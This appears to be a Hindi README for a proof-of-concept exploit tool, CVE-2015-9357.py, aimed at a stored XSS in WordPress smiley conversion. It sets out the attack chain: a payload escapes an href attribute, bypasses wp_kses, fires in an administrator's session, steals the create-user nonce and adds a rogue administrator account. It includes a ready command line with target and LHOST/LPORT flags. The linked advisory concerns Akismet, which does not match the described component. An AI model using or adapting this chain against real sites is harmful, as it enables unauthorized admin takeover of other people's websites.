
CVE-2015-9357 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: वर्डप्रेस स्माइली पार्सर में स्टोर्ड XSS जो wp_kses को बायपास करता है, एडमिन खाते बनाने के लिए नॉन्स फोर्जरी को चेन करता है। केवल शैक्षिक उपयोग के लिए।
wordpress स्माइली/इमोटिकॉन पार्सर में संग्रहीत XSS, फ़ोर्ज्ड nonce अनुरोध के माध्यम से एडमिन उपयोगकर्ता निर्माण।
emoticon regex के माध्यम से <a href> एट्रिब्यूट कॉन्टेक्स्ट से बाहर निकलता है, js को onerror हैंडलर में पहुँचाता है। किसी script टैग की आवश्यकता नहीं, प्रभावित फ़ील्ड पर wp_kses फ़िल्टरिंग से बच निकलता है।
चेन: किसी भी ऐसे फ़ील्ड में पेलोड सबमिट करें जो स्माइली-कन्वर्ट होता है, एडमिन उसे देखता है, उनके सेशन में XSS फ़ायर होता है, user-new.php से create-user nonce निकालता है, नया एडमिनिस्ट्रेटर खाता पोस्ट करता है, लॉगिन के माध्यम से पुष्टि करता है।
केवल लैब/शैक्षिक उपयोग के लिए। आवश्यक है कि लक्ष्य फ़ील्ड वास्तव में wordpress स्माइली कन्वर्ज़न लागू करे, थीम/प्लगइन के अनुसार भिन्न होता है।
मूल भेद्यता प्रकटीकरण: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
python3 CVE-2015-9357.py -t https://target -l LHOST -p LPORT \
--endpoint https://target/wp-admin/admin-ajax.php \
--field message --action <ajax_action> --nonce <nonce> \
--data "name=a,[email protected],phone=a"
--endpoint / --field इस पर निर्भर करते हैं कि भेद्य इनपुट वास्तव में कहाँ स्थित है (टिप्पणियाँ, संपर्क फ़ॉर्म, आदि), पहले इसे मैन्युअल रूप से खोजें।
सफलता पर आउटपुट: एडमिन क्रेडेंशियल (pwned / Password123!) और wp-admin url।